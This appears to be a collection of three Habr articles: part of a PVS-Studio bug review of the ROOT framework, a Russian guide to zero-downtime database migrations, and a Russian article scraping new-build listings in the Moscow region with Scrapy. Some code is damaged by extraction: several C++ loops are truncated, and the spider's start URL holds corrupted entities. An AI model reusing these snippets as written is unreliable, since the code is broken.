dm->fArrayMaxIndex[dim] = gCling->DataMemberInfo\_MaxIndex(fInfo,dim);
}
}
}
return fArrayDim;
}
```
In the *for* loop, the developers apparently meant to compare the *dim* variable with *dm->fArrayDim* rather than *fArrayDim*. The value of *fArrayDim* is negative, which is guaranteed by the condition at the beginning of the function. Consequently, this loop will never execute.
[V767](https://www.viva64.com/en/w/v767/) Suspicious access to element of 'current' array by a constant index inside a loop. TClingUtils.cxx 3082
```
llvm::StringRef ROOT::TMetaUtils::DataMemberInfo__ValidArrayIndex(....)
{
....
while (current!=0) {
// Check the token
if (isdigit(current[0])) {
for(i=0;i
```
This code is parsing and checking some string. If the *current* string's first character (i.e. at index 0) has been recognized as a number, the loop will traverse all the rest characters to make sure all of them are numbers. Well, at least that's the idea. The problem is, the *i* counter is not used in the loop. The condition should be rewritten so that it checks *current[i]* rather than *current[0]*.
Memory leak
-----------
[V773](https://www.viva64.com/en/w/v773/) The function was exited without releasing the 'optionlist' pointer. A memory leak is possible. TDataMember.cxx 355
```
void TDataMember::Init(bool afterReading)
{
....
TList *optionlist = new TList(); //storage for options strings
for (i=0;i
```
The *optionList* pointer is not freed before returning from the function. I don't know whether such freeing is necessary in this particular case, but when we report errors like that, developers usually fix them. It all depends on whether or not you want your program to keep running in case of error condition. ROOT has a bunch of defects like that, so I'd advise the authors to recheck the project themselves.
memset again
------------
[V597](https://www.viva64.com/en/w/v597/) The compiler could delete the 'memset' function call, which is used to flush 'x' buffer. The memset\_s() function should be used to erase the private data. TMD5.cxx 366
```
void TMD5::Transform(UInt_t buf[4], const UChar_t in[64])
{
UInt_t a, b, c, d, x[16];
....
// Zero out sensitive information
memset(x, 0, sizeof(x));
}
```
Many think the comment won't make it to the binary file after compilation, and they are absolutely correct :D. What some may not know is that the compiler will remove the *memset* function as well. And this will happen for sure. If the buffer in question is no longer used further in the code, the compiler will optimize away the function call. Technically, it's a reasonable decision, but if the buffer was storing any private data, those data will stay there. This is a classic security weakness [CWE-14](https://cwe.mitre.org/data/definitions/14.html).
Miscellaneous
-------------
[V591](https://www.viva64.com/en/w/v591/) Non-void function should return a value. LogLikelihoodFCN.h 108
```
LogLikelihoodFCN & operator = (const LogLikelihoodFCN & rhs) {
SetData(rhs.DataPtr() );
SetModelFunction(rhs.ModelFunctionPtr() );
fNEffPoints = rhs.fNEffPoints;
fGrad = rhs.fGrad;
fIsExtended = rhs.fIsExtended;
fWeight = rhs.fWeight;
fExecutionPolicy = rhs.fExecutionPolicy;
}
```
The overloaded operator has no return value. This is another recent trend.
[V596](https://www.viva64.com/en/w/v596/) The object was created but it is not being used. The 'throw' keyword could be missing: throw runtime\_error(FOO); RTensor.hxx 363
```
template
inline RTensor RTensor::Transpose()
{
if (fLayout == MemoryLayout::RowMajor) {
fLayout = MemoryLayout::ColumnMajor;
} else if (fLayout == MemoryLayout::ColumnMajor) {
fLayout = MemoryLayout::RowMajor;
} else {
std::runtime\_error("Memory layout is not known.");
}
....
}
```
The problem is that the programmer accidentally left out the *throw* keyword, thus preventing the throwing of an exception in case of error condition.
There were only two warnings of this type. Here's the second:
* V596 The object was created but it is not being used. The 'throw' keyword could be missing: throw runtime\_error(FOO); Forest.hxx 137
[V609](https://www.viva64.com/en/w/v609/) Divide by zero. Denominator range [0..100]. TGHtmlImage.cxx 340
```
const char *TGHtml::GetPctWidth(TGHtmlElement *p, char *opt, char *ret)
{
int n, m, val;
....
if (n < 0 || n > 100) return z;
if (opt[0] == 'h') {
val = fCanvas->GetHeight() * 100;
} else {
val = fCanvas->GetWidth() * 100;
}
if (!fInTd) {
snprintf(ret, 15, "%d", val / n); // <=
} else {
....
}
....
}
```
This one is similar to the array handling examples discussed earlier. The *n* variable is limited to the range from 0 up to 100. But then there's a branch that performs division by the *n* variable which may have the value 0. I think the range limits of *n* should be fixed as follows:
```
if (n <= 0 || n > 100) return z;
```
[V646](https://www.viva64.com/en/w/v646/) Consider inspecting the application's logic. It's possible that 'else' keyword is missing. TProofServ.cxx 729
```
TProofServ::TProofServ(Int_t *argc, char **argv, FILE *flog)
: TApplication("proofserv", argc, argv, 0, -1)
{
....
if (!logmx.IsDigit()) {
if (logmx.EndsWith("K")) {
xf = 1024;
logmx.Remove(TString::kTrailing, 'K');
} else if (logmx.EndsWith("M")) {
xf = 1024*1024;
logmx.Remove(TString::kTrailing, 'M');
} if (logmx.EndsWith("G")) {
xf = 1024*1024*1024;
logmx.Remove(TString::kTrailing, 'G');
}
}
....
}
```
The analyzer reports a strangely formatted *if* statement with the missing *else* keyword. The way this code looks suggests that it does need to be fixed.
A couple more warnings of this type:
* V646 Consider inspecting the application's logic. It's possible that 'else' keyword is missing. TFormula\_v5.cxx 3702
* V646 Consider inspecting the application's logic. It's possible that 'else' keyword is missing. RooAbsCategory.cxx 604
[V663](https://www.viva64.com/en/w/v663/) Infinite loop is possible. The 'cin.eof()' condition is insufficient to break from the loop. Consider adding the 'cin.fail()' function call to the conditional expression. MethodKNN.cxx 602
```
void TMVA::MethodKNN::ReadWeightsFromStream(std::istream& is)
{
....
while (!is.eof()) {
std::string line;
std::getline(is, line);
if (line.empty() || line.find("#") != std::string::npos) {
continue;
}
....
}
....
}
```
When working with the *std::istream* class, calling the *eof()* function is not enough to terminate the loop. The *eof()* function will always return *false* if the data can't be read, and there are no other termination points in this code. To guarantee the termination of the loop, an additional check of the value returned by the *fail()* function is required:
```
while (!is.eof() && !is.fail())
{
....
}
```
As an alternative, it can be rewritten as follows:
```
while (is)
{
....
}
```
[V678](https://www.viva64.com/en/w/v678/) An object is used as an argument to its own method. Consider checking the first actual argument of the 'Copy' function. TFormLeafInfo.cxx 2414
```
TFormLeafInfoMultiVarDim::TFormLeafInfoMultiVarDim(
const TFormLeafInfoMultiVarDim& orig) : TFormLeafInfo(orig)
{
fNsize = orig.fNsize;
fSizes.Copy(fSizes); // <=
fCounter2 = orig.fCounter2?orig.fCounter2->DeepCopy():0;
fSumOfSizes = orig.fSumOfSizes;
fDim = orig.fDim;
fVirtDim = orig.fVirtDim;
fPrimaryIndex = orig.fPrimaryIndex;
fSecondaryIndex = orig.fSecondaryIndex;
}
```
Let's finish the article with this nice little typo. The *Copy* function should be called with *orig.fSizes*, not *fSizes*.
Conclusion
----------
About one year ago, we checked the [NCBI Genome Workbench](https://www.ncbi.nlm.nih.gov/tools/gbench/) project, which is another program used in scientific research that deals with genome analysis. I'm mentioning this because the quality of scientific software is extremely crucial, yet developers tend to underestimate it.
By the way, macOS 10.15 Catalina was released the other day, where they ceased support of 32-bit applications. Luckily, PVS-Studio offers a large set of diagnostics specifically designed to detect bugs that accompany the porting of programs to 64-bit systems. Learn more in this [post](https://www.viva64.com/en/b/0680/) by the PVS-Studio team. | https://habr.com/ru/post/472492/ | null | en | null |
# Мигрируем БД в продакшене без даунтайма
В этой статье мы рассмотрим основные принципы миграции БД без даунтайма и дадим быстрые рецепты для наиболее распространенных случаев.
Как работает выкладка в прод?
-----------------------------
Давайте взглянем на типовой процесс выкладки веб-приложения в прод. Большинство приложений, рассчитанных на выкладку без даунтайма, сегодня опираются на балансировщики нагрузки и оркестрацию контейнеров:
Упрощенная архитектура типового веб-приложенияЧто происходит во время публикации новой версии приложения? Процесс деплоя заменяет прежние экземпляры приложения на новые поочередно, сначала выводя их из кластера, затем производя обновление, и затем включая обратно в кластер:
Как показано на иллюстрации выше, версия 2 заменяет прежнюю версию приложения 1 постепенно, таким образом у пользователей не возникает никаких перебоев в обслуживании.
Это все здорово, но что если в новой версии изменения были внесены не только в сам код приложения, но и в структуру базы данных? В отличие от контейнеров с приложением, база данных является общим ресурсом, который обладает собственным состоянием, поэтому мы не можем ее просто клонировать и использовать ту же технику, что и для контейнеров с приложением. Единственный реалистичный вариант - обновлять ее прямо на месте. В какой момент должно быть выполнено обновление?
Поскольку приложение версии 2 опирается на обновленную структуру базы данных, база данных должна быть обновлена *до того*, как первый экземпляр новой версии приложения будет запущен в продакшене. Соответственно, процесс деплоя, включающий обновление БД, будет выглядеть следующим образом:
Как запускать скрипт миграции БД
--------------------------------
Способ запуска скрипта миграции БД важен. На первый взгляд, может показаться заманчивым просто сделать его частью команды старта приложения, типа такого:
`&&`
Идея такого подхода заключается в том, что первый экземпляр приложения выполнит миграцию БД, а для остальных скрипт миграции не будет делать ничего, т.к. база данных уже обновлена.
Пожалуйста, **НЕ ДЕЛАЙТЕ ТАК**.
Во-первых, поскольку мы параллельно запускаем множество экземпляров приложения на нашем кластере, скрипт миграции БД должен корректно обрабатывать попытки параллельного запуска. В зависимости от фреймворка, применяемого для миграций, и того, как написан скрипт, он может или обрабатывать параллельный запуск корректно, или нет. В миграции БД можно выделить три основных состояния - еще не начата, выполняется, закончена. Скрипт должен будет уметь обнаруживать, что миграция уже выполняется в другом процессе, и если так - то ждать. Если он не будет ждать, это может закончиться ошибками приложения, а в худшем случае - испорченными данными.
Во-вторых, даже если скрипт миграции БД обрабатывает попытки параллельного запуска корректно, есть проблема с повторными запусками. Важно, чтобы скрипт миграции попытался выполниться строго один раз, и если произошел сбой - выкладка должна быть немедленно остановлена и произведен откат назад. Например, если скрипт миграции упал из-за таймаута на выполнение долгой SQL-операции, не стоит пытаться повторять его автоматически снова и снова. Разумная стратегия в этом случае - немедленно все отменить, разобраться, починить скрипт и только после этого пробовать еще раз.
Именно поэтому скрипт миграции БД в иллюстрации выше запускается с CI/CD сервера. Разумеется, это не единственный вариант. К примеру, можно запускать его в виде разовой задачи в Kubernetes-кластере как часть процесса деплоя или каким-то другим образом. Главное, помнить об основном принципе - запустить скрипт миграции БД строго один раз, и если что-то пошло не так - отменить выкладку.
Как миграции БД могут вызвать даунтайм?
---------------------------------------
Как правило, даунтайм происходит по двум основным причинам:
1. **Нарушение обратной совместимости.** Как можно видеть на иллюстрациях выше, деплой не является моментальным. В какой-то момент времени база данных уже оказывается обновленной, но при этом в продакшене все еще работают экземпляры прежних версий приложения. Если обновленная база данных несовместима с прежними версиями приложения, это приводит к сбоям, продолжающимся до тех пор, пока новая версия приложения не заменит полностью старую.
2. **Повышенная нагрузка на БД.** Миграция может включать в себя “тяжелые” операции, которые приводят к повышенной нагрузке на базу данных или длительным локам, в результате чего приложение в этот момент работает медленно или не работает вовсе.
Давайте рассмотрим на конкретных примерах, как соблюсти обратную совместимость в наиболее распространенных случаях. В конце статьи также коротко поговорим о нагрузке на БД.
Пример 1: добавление нового столбца в таблицу
---------------------------------------------
Представим, что мы разрабатываем новую фичу - аватарки для пользователей. Каждому пользователю после регистрации будет автоматически генерироваться случайная аватарка, и также будет возможность загрузить свою собственную. Для реализации этой фичи нам потребуется новая колонка `avatar` в таблице `Users`:
Добавление новой колонки "avatar" в таблицу "Users"Как обновлять базу от версии 1 к версии 2 в таком случае? Скрипт миграции БД должен будет сделать следующие действия:
1. Добавить nullable-колонку `avatar` в таблицу `Users`;
2. Обновить все существующие записи в `Users`, сгенерировать случайные аватарки;
3. Когда все данные заполнены, сделать колонку `avatar` non-nullable.
В коде приложения нам потребуется добавить:
1. Генерацию новых случайных аватарок при регистрации пользователей;
2. Отображение аватарок там, где это применимо;
3. Функционал загрузки своей собственной аватарки.
Что случится, если мы просто выкатим все это в продакшен одним махом? Как мы обсуждали ранее, скрипт миграции базы данных выполнится первым. После этого прежние версии приложения будут постепенно заменяться новыми. Сразу после выполнения скрипта миграции у нас будет ситуация, когда в продакшене все еще работают старые версии приложения, но база данных уже обновлена и содержит новую колонку `avatar`, о которой старые версии приложения ничего не знают.
**Результатом будет сломанная регистрация пользователей** во время выкладки, потому что прежние версии приложения будут пытаться вставлять записи в таблицу `Users`, не указывая никаких данных для `avatar`, которое теперь является обязательным полем. Разумеется, через некоторое время проблема починится сама собой, когда новые версии приложения полностью заменят старые. Однако, поскольку мы говорим о выкладке без даунтайма, нас это не устраивает. Давайте посмотрим, как выложить эту фичу без даунтайма.
Решение примера 1
-----------------
Давайте не будем пытаться выкладывать эту фичу целиком в один прием, а разобьем выкладку на две фазы. Сначала мы отправим в прод первую фазу, и только после того, как ее деплой полностью завершится - отправим вторую.
#### Фаза 1
* **Скрипт миграции БД:**– Добавить nullable-колонку `avatar` в таблицу `Users`
* **Новые фичи приложения:**– Начать генерировать рандомные аватарки для всех новых пользователей
Поскольку скрипт миграции БД только добавляет nullable-колонку, это не вызовет никаких проблем со вставками новых записей из старой версии приложения. Затем выкладывается обновленная версия приложения, которая начинает заполнять колонку `avatar` для новых пользователей
#### Фаза 2
* **Скрипт миграции БД:**
– Сгенерировать случайные аватарки для всех записей в `Users`, у которых аватарка пока пустая;
– Сделать колонку `avatar` non-nullable
* **Новые фичи приложения:**– Все оставшиеся фичи связанные с аватарками - отображение их везде, где нужно, функция загрузки своей аватарки, и т.д.
Скрипт миграции БД заполняет все пустые значения `avatar` для существующих пользователей и затем делает эту колонку non-nullable. Даже если во время этой операции случатся новые регистрации в приложении, колонка `avatar` для них уже будет заполнена, потому что версия приложения, которую мы задеплоили в фазе 1, уже знает о ней. Таким образом, у нас не должно возникнуть никаких проблем с тем, чтобы сделать колонку `avatar` обязательной и выложить все оставшиеся фичи, которые от нее зависят.
Пример 2: удаление столбца из таблицы
-------------------------------------
Что если аватарки для пользователей, которые мы рассматривали в предыдущем примере, не оправдали наших ожиданий? Фича так и не стала достаточно популярной, поэтому мы хотим ее удалить. Мы собираемся удалить весь код, работающий с аватарками, а также удалить колонку `avatar` из таблицы `Users`:
Удаление колонки "avatar" из таблицы "Users"Как и в предыдущем примере, если мы просто попробуем выложить такое изменение в прод, это приведет к даунтайму.
**Приложение будет серьезно сломано во время деплоя.** Как мы обсуждали выше, скрипт миграции БД выполнится первым. Сразу после его выполнения сложится ситуация, когда прежняя версия приложения, опиравшаяся на колонку `avatar`, все еще работает в продакшене, но самой этой колонки в БД уже нет. Поэтому, пока не закончится деплой и не выложится обновленная версия приложения, весь функционал, зависевший от колонки `avatar`, будет сломан. Как этого избежать?
Решение примера 2
-----------------
Используем тот же подход, что и в примере №1 - разобьем деплой на две фазы:
#### Фаза 1
* **Скрипт миграции БД:**– Сделать колонку `avatar` nullable
* **Новые фичи приложения:**– Удалить весь функционал, связанный с аватарками, убрать все упоминания колонки `avatar` из кода
Превращение колонки `avatar` в nullable не вызовет никаких поломок в предыдущей версии приложения, которая все еще работает в продакшене. В то же самое время, этот шаг позволяет выложить новую версию приложения, которая больше не использует `avatar`.
#### Фаза 2
* **Скрипт миграции БД:**– Удалить колонку `avatar`
* **Новые фичи приложения:**–
После того, как фаза 1 выложена, приложение больше не зависит от колонки `avatar`, так что мы можем ее безопасно удалить.
Пример 3: переименование столбца таблицы или изменение его типа
---------------------------------------------------------------
Предположим, мы хотим расширить функционал аватарок, обсуждавшийся в примере №1. Вместо хранения названий файлов с картинками аватарок, мы хотим хранить их полные URL, чтобы поддерживать аватарки размещаемые на разных доменах. Полные URL заметно длиннее, поэтому нам потребуется увеличить максимальную длину для столбца `avatar`. Помимо этого, уже существующие данные нужно будет преобразовать в новый формат. Наконец, сам столбец `avatar` было бы неплохо переименовать в `avatar_url`, чтобы его название лучше отражало содержимое:
Замена столбца "avatar" на "avatar\_url"В этом случае скрипт миграции БД включал бы:
1. Изменение типа данных столбца `varchar(100) -> varchar(2000)`;
2. Преобразование существующих данных в новый формат, конвертация названий файлов в полные URL;
3. Переименование столбца `avatar -> avatar_url`.
В код приложения были бы внесены следующие изменения:
1. Запись данных в новом формате;
2. Чтение данных в новом формате и необходимые изменения для работы с ними.
Если мы просто выложим все это в прод, произойдет даунтайм.
**Приложение будет серьезно сломано во время деплоя.** Как мы обсуждали выше, скрипт миграции БД выполнится первым. Сразу после его выполнения в проде все еще будет работать прежняя версия приложения, опирающаяся на колонку `avatar` в ее прежнем виде. Первая часть скрипта миграции БД, которая увеличивает максимальную длину этой колонки, что само по себе не вызывает никаких сбоев. Однако вторая часть скрипта, конвертирующая данные в новый формат, вызовет некорректное отображение аватарок везде, где они используются. Ну и третья часть, переименовывающая столбец таблицы, вызовет поломку приложения, включая сломанную регистрацию новых пользователей. Прежняя версия приложения не сможет ни читать, ни писать данные об аватарках, потому что имя столбца таблицы изменилось. Приложение будет оставаться сломанным до окончания деплоя, пока не выложится его обновленная версия. Как мы можем этого избежать?
Решение примера 3
-----------------
Используем ту же технику, что и в примерах 1 и 2 - разобьем деплой этой фичи на фазы и будем выкладывать их последовательно. Данный пример несколько сложнее предыдущих, нам потребуются четыре фазы:
#### Фаза 1
* **Скрипт миграции БД:**– Добавить новую nullable колонку `avatar_url`
– Не вносить пока никаких изменений в существующую колонку `avatar`
* **Новые фичи приложения:**– При записи, сохранять данные *в обе* колонки - и в `avatar`, и в новую `avatar_url`, в соответствующем формате для каждой
– Не вносить пока никаких изменений в логику чтения данных - продолжать читать аватарки из столбца `avatar`
Сначала скрипт миграции БД только добавляет новую nullable-колонку `avatar_url`, такое действие не вызывает никаких сбоев. Версия приложения, выкладываемая на этом этапе, начинает записывать данные сразу в обе колонки - и в новую, и в старую, подготавливаясь к следующей фазе.
#### Фаза 2
* **Скрипт миграции БД:**– Заполнить все пустые значения в `avatar_url` данными из `avatar`, конвертируя их в новый формат (имена файлов в полные URL);
– Сделать колонку `avatar_url` non-nullable
* **Новые фичи приложения:**– Переключить логику чтения данных на новую колонку `avatar_url`;
– Пока что продолжать писать данные в обе колонки - и в `avatar`, и в `avatar_url`
Скрипт миграции БД заполняет все пустые значения в новой колонке, конвертируя имена файлов из старой колонки в полные URL в новой. Затем он делает новую колонку non-nullable. Это должно сработать, потому что версия приложения, выложенная в фазе 1, уже начала заполнять `avatar_url` данными для всех новых записей. Версия приложения, публикуемая в этой фазе, переключается на чтение данных из новой колонки `avatar_url`, однако все еще продолжает писать данные в обе колонки, чтобы обеспечить обратную совместимость с версией приложения выложенной в фазе 1.
#### Фаза 3
* **Скрипт миграции БД:**– сделать колонку `avatar` nullable
* **Новые фичи приложения:**– Прекратить писать данные в `avatar` и удалить все упоминания ее из кода
Скрипт миграции БД делает старую колонку `avatar` nullable, таким образом мы можем прекратить писать данные в нее и удалить все упоминания `avatar` из кода.
#### Фаза 4
* **Скрипт миграции БД:**
- удалить колонку avatar из таблицы Users
* **Новые фичи приложения:**
-
После того, как фаза 3 успешно задеплоена, мы можем удалить старую колонку `avatar` из базы. Никаких изменений приложения на данной стадии не требуется, оно уже было полностью обновлено в предыдущих фазах.
Общий подход к обеспечению обратной совместимости
-------------------------------------------------
Как вы могли заметить, все три примера выше используют одну и ту же технику для избегания даунтайма - разделение деплоя новой фичи на две или более фаз. Разумеется, три примера выше не покрывают все возможные ситуации при миграциях БД, но они призваны помочь понять главную идею, как подходить к этому. Если вы уловили идею и полностью понимаете, как работает ваш процесс выкладки в прод, вы сможете разработать решения для других случаев самостоятельно.
Напомним:
* Во время деплоя скрипт миграции БД выполняется первым;
* После этого образуется ситуация, когда в проде все еще работают прежние версии приложения, но БД уже обновлена. Это потенциально рискованный момент, в который могут случиться сбои из-за нарушения обратной совместимости;
* Вы можете избежать даунтайма, разбивая деплой новой фичи на несколько фаз при необходимости. Планируйте эту разбивку таким образом, чтобы прежняя версия приложения, которая все еще работает в продакшене, всегда была совместима с обновлением базы данных, которое вы собираетесь выкатить;
* Примеры выше иллюстрируют, как конкретно планировать фазы деплоя, чтобы избежать нарушения обратной совместимости.
Повышенная нагрузка на БД
-------------------------
Вторая распространенная причина сбоев во время миграции БД - некоторые операции по внесению изменений в базу данных могут создать повышенную нагрузку на сервер БД или же вызвать длительные локи, что приведет к замедлению работы приложения или к его полной недоступности.
Как правило, подобные проблемы возникают при попытках внести изменения в таблицы, которые хранят много данных. Создание новых таблиц происходит быстро, удаление таблиц - также быстро, и внесение изменений в таблицы небольшого размера тоже обычно не создает проблем. Однако, если вы пытаетесь внести изменения в таблицу с большим количеством данных, например, добавить или удалить колонки, создать или изменить индексы или contraint’ы, это может занять много времени, порой недопустимо много. Что можно с этим поделать?
**Совет №1. Используйте современную версию БД.** Базы данных постоянно развиваются. Например, одной из наиболее желанных фич в MySQL-сообществе была возможность выполнять быстрые DDL-операции, которые не приводили бы к полной перезаписи таблицы. И разработчики прислушались - в [MySQL 8.0 представлены значительные улучшения](https://dev.mysql.com/blog-archive/mysql-8-0-innodb-now-supports-instant-add-column/), включая моментальное добавление новых столбцов в таблицу при соблюдении определенных условий. Другой пример - в Postgres версий 10 и более ранних добавление новой колонки со значением по умолчанию приводило к полной перезаписи таблицы, [что было исправлено в Postgres v11](https://www.2ndquadrant.com/en/blog/add-new-table-column-default-value-postgresql-11/). Разумеется, нельзя сказать, что производительность любых DDL операций уже находится на безупречном уровне, но все же обновление версии БД потенциально может сделать вашу жизнь легче.
**Совет №2. Проверяйте, что будет происходить “под капотом” при внесении изменений в большие таблицы.** Во многих случаях можно снизить риск даунтайма за счет использования несколько другого набора операций, выполнить которые серверу БД будет легче. Пара полезных ссылок по этой теме:
* [MySQL - Online DDL Operations](https://dev.mysql.com/doc/refman/8.0/en/innodb-online-ddl-operations.html)
* Postgres - документация к пакету [django-pg-zero-downtime-migrations](https://github.com/tbicr/django-pg-zero-downtime-migrations#how-it-works) содержит подробное объяснение, как работают локи в Postgres и какие операции могут считаться безопасными.
**Совет №3. Выполняйте обновления в период наименьшего трафика.** Если обновление затрагивает большую таблицу, рассмотрите возможность выполнить его в период низкой активности пользователей. Это помогает сразу двумя способами. Во-первых, сервер БД будет меньше нагружен и возможно завершит миграцию быстрее. Во-вторых, даже несмотря на тщательную подготовку, такие миграции могут быть рискованными. Порой бывает сложно полностью протестировать, как обновление сработает в условиях реальной нагрузки на продакшене. Если проблемы все же случатся, во время низкого трафика урон от них будет меньше.
**Совет №4. Рассмотрите возможность применения вялотекущих миграций.** Некоторые таблицы могут быть настолько большими, что традиционный скрипт миграции БД для них не выглядит жизнеспособным вариантом. В таком случае вы можете внедрить код миграции данных непосредственно в само приложение, чтобы оно работало над фоновым преобразованием данных прямо в продакшене, или использовать специальную утилиту, вроде [GitHub's online schema migration for MySQL](https://github.com/github/gh-ost). Такая миграция обрабатывает данные небольшими порциями и может выполняться дни и даже недели. У вас будет возможность аккуратно балансировать нагрузку на БД от миграции, чтобы она не создавала проблем для конечных пользователей.
Заключение
----------
Миграция базы данных без даунтайма требует определенных усилий, но все же это не прям *уж настолько* сложно. Две основные причины, по которым происходит даунтайм:
1. Нарушение обратной совместимости;
2. Повышенная нагрузка на БД.
Для решения первой проблемы вам может потребоваться разбить деплой новой фичи на несколько фаз, вместо того, чтобы выкатывать в продакшен все сразу. В этой статье мы подробно разбираем три наиболее распространенных примера и даем общие рекомендации, как избегать даунтайма в других случаях.
Секция про повышенную нагрузку на БД описывает общие рекомендации для решения связанных с этим проблем и содержит ссылки для дальнейшего чтения.
Надеюсь, эта статья поможет вам снизить риски даунтайма во время деплоев. Меньше даунтайма - чаще деплои - быстрее движется разработка. Удачных миграций! | https://habr.com/ru/post/664028/ | null | ru | null |
# Парсинг сайтов или долгострои Московской области
Ознакомившись с рынком первичного жилья в Московской области, мы, конечно же, столкнулись с наличием обманутых дольщиков и проблемных объектов, так называемых «долгостроев». Естественно, встал вопрос, насколько вероятна такая ситуация.
Была поставлена цель выполнить классификацию объектов первичного строительства по всеобъемлющему набору признаков: сведений об объекте, застройщике и т.д. Однако общедоступные данные оказались довольно скудными. Все же некоторую дескриптивную статистику собрать удалось…
### Источники данных
Для оценки доли долгостроев в общем количестве необходима база новостроек с признаками, по которым можно классифицировать объект как долгострой. Мы остановили свой выбор на novostroykin.ru, так как он по сравнению с аналогичными сайтами (novostroy-m.ru, mskguru.ru, novostroev.ru, novostroy.ru, novostroykirf.ru) на момент проведения анализа содержал наибольшее количество объектов – 1756 против 1093, 674, 426, 1296, 392 у конкурентов соответственно.
По результатам первичного парсинга страниц novostroykin обнаружились задвоения – некоторая (небольшая) часть новостроек занесена покорпусно, также присуствуют объекты с пометкой «ПРОЕКТЫ» – выяснилось, что по ним не было ни одной продажи. После коррекции (покорпусные записи объединены, проекты исключены) в нашей выгрузке осталось 1641 объектов, все еще больше чем у сайтов-конкурентов.
Важно отметить, что перечисленные ресурсы являются рекламными. Несмотря на законодательное требование достоверности (ст.5 №38-ФЗ «О рекламе»), корректность сведений остается на совести владельцев сайта. Потому была выполнена еще одна точечная проверка корректности сведений по объекту, состояние которого известно непосредственно от лиц, заинтересованных в предоставлении достоверных данных. Таким объектом был выбран ЖК «Белые росы» (г.о. Котельники). Из перечисленных выше сайтов:
1. На novostroykin.ru, novostroev.ru статус стройки и наименование застройщика корректны;
2. На mskguru.ru неверно указаны сроки сдачи;
3. На novostroy-m.ru указаны сданными незавершенные корпуса, указано возведение корпусов, строительство которых еще не начиналось;
4. На novostroy.ru некорректно указан застройщик – ГВСУ Центр (старейший московский застройщик, основанный на базе Главного военно-строительного управления Министерства обороны, образованного 27 января 1964 года) вместо ООО "Стройкомфорт" (юридическое лицо, образованное специально для данного проекта);
5. На novostroykirf.ru сведения по объекту отсутствуют.
Таким образом, novostroykin всё еще лидирует в качестве источника информации для проведения оценок и анализа рынка.
Помимо рекламных сайтов существуют и официальные открытые источники. С 01 января 2018 года в РФ заработала государственная Единая информационная система жилищного строительства (ЕИСЖС), призванная повысить прозрачность долевого строительства. Однако на 29.01.2018 проверочный объект в ней отсутствовал, несмотря на то, что согласно п.п. 5,6 ст. 23.3 №214-ФЗ в системе должны размещать сведения не только застройщики, но и контролирующие органы, а именно РосРеестр (сведения о земельном участке), ГлавСтройНадзор (результаты проведенных проверок, которые имели место быть в отношении указанного объекта). Сопоставить данные ЕИСЖС с рекламными сайтами по количеству объектов также не удалось – в ЕИСЖС сведения занесены покорпусно, на рекламных ресурсах у части новостроек сведения по корпусам отсутствуют, потому автоматизированная проверка данных невозможна.
Итого, для выполнения оценочной классификации объектов решено использовать данные с «новостройкина».
### Собственно, парсинг
Парсинг осуществлен с использованием фреймворка Scrapy. Адрес страницы объекта имеет вид *www.novostroykin.ru/novostroyki/название\_на\_латинице/*. Обход сайта производился в несколько этапов. Первый этап – обход страниц каталога, содержащего ссылки на новостройки. Второй – вычитывание данных по каждой новостройке из соответствующей страницы и сохранение результатов в файл. Код паука на Python:
```
import scrapy
class NovostroykinSpider(scrapy.Spider):
name = "novostroykin"
def start_requests(self):
urls = [
"https://www.novostroykin.ru/novostroyki/find/?t=2&pt=0&ignorenf=1&nf_mode=0&pot=0&pdo=0®_mo=1&dometro=0&k1=&k2=&k3=&k4=&beza=&ipoteka=&fav=&econom=&s2017=&rassrochka=&razr=∏=&warh=&dometrot=&me=&snewmetro=&sdan2=&sdan=&sr_2017_4=&sr_2018_1=&sr_2018_2=&sr_2018_3=&sr_2018_4=&sr_2019=&sr_2020_0=&napl=&otdelka=&balkon=&r=⩝=3&pg=" + str(i) for i in range (1,75)]
for url in urls:
yield scrapy.Request(url=url, callback=self.parse)
def parse(self, response):
for url in response.xpath("//*[@id='nff_list']/div/div[2]/div/a/@href").extract():
next_url = response.urljoin(url)
if next_url.find("adrai.novostroykin.ru/wow/")==-1:
yield scrapy.Request(next_url, callback=self.parse_n)
def parse_n(self, response):
l = response.xpath("//*[contains(@id,'korpinfo_') and string-length(@id)>10]/p[2]/span[2]/text()|//*[contains(@id,'korpinfo_') and string-length(@id)>10]/p[2]/text()").extract()
l2 = [s for s in l if s != " "]
StrKeyDate = "/".join(l2)
if StrKeyDate is None:
StrKeyDate = ""
else:
StrKeyDate = StrKeyDate.replace("\xa0","")
l = response.xpath("//*[contains(@id,'korpinfo_') and string-length(@id)>10]/p[3]/span[2]/text()|//*[contains(@id,'korpinfo_') and string-length(@id)>10]/p[3]/text()").extract()
l2 = [s for s in l if s != " "]
StrState = "/".join(l2)
if StrState is None:
StrState = ""
else:
StrState = StrState.replace("+ /","+ ")
yield {
'Name': response.xpath("//*[@id='main_container_table']/tr/td[2]/div[2]/h1/text()").extract(),
'Address': response.xpath("//*[@id='main_container_table']/tr/td[2]/div[2]/div/index/div[5]/text()").extract(),
'Description': " ".join(response.xpath("//*[@id='tab1_1']/div/div/div/div/h3[contains(.,'Что здесь будет')]/parent::*/p/text()").extract()),
'PayAttention': " ".join(response.xpath("//*[@id='tab1_1']/div/div/div/div/h3[contains(.,'На что обратить внимание')]/parent::*/p/text()").extract()),
'Buildings': "/".join(response.xpath("//*[contains(@id,'nkt2_')]/a/nobr/text()").extract()),
'KeysDate': StrKeyDate,
'State': StrState,
'BuildingType': response.xpath("//*[@id='tab2_1']/div/p[1]/text()").extract(),
}
```
В процессе парсинга выяснили, что структура страниц новостроек менялась во времени – менялось DOM-дерево, добавлялись и/или удалялись поля. Проблема решалась повторной выгрузкой страниц с изменением соответствующих Xpath в коде паука.
После выгрузки данных началась техническая работа – определение муниципального округа по адресу, очистка данных, выявление дублей, свертка корпусов в объекты, и т.д.
### Анализ: критерий «долгостроя»
Перечень новостроек с сорванными сроками строительства мы взяли из общедоступных источников:
1. [Сводный перечень проблемных объектов на территории МО](http://msk.mosreg.ru/dokumenty/napravleniya_deyatelnosti/dolevoe_zhilischnoe_stroitelstvo/problemnye_obekty_na_territorii_moskovskoy_ob) на 29.12.2017 и ход выполнения строительных работ от Министерства строительного комплекса Московской области;
2. [Список объектов](http://www.mosoblduma.ru/Dejatelnost/working_group/orking_group_meetings), обсуждавшихся на совещаниях Рабочей группы Мособлдумы по решению проблемы обманутых дольщиков Московской области в 2017 году;
3. [Статус достройки проблемных объектов СУ-155](https://www.roscap.ru/su-155/#program) – содержит все недостроенные объекты СУ-155, даже если работы по объекту полностью завершены другим застройщиком от АКБ «Российский капитал»;
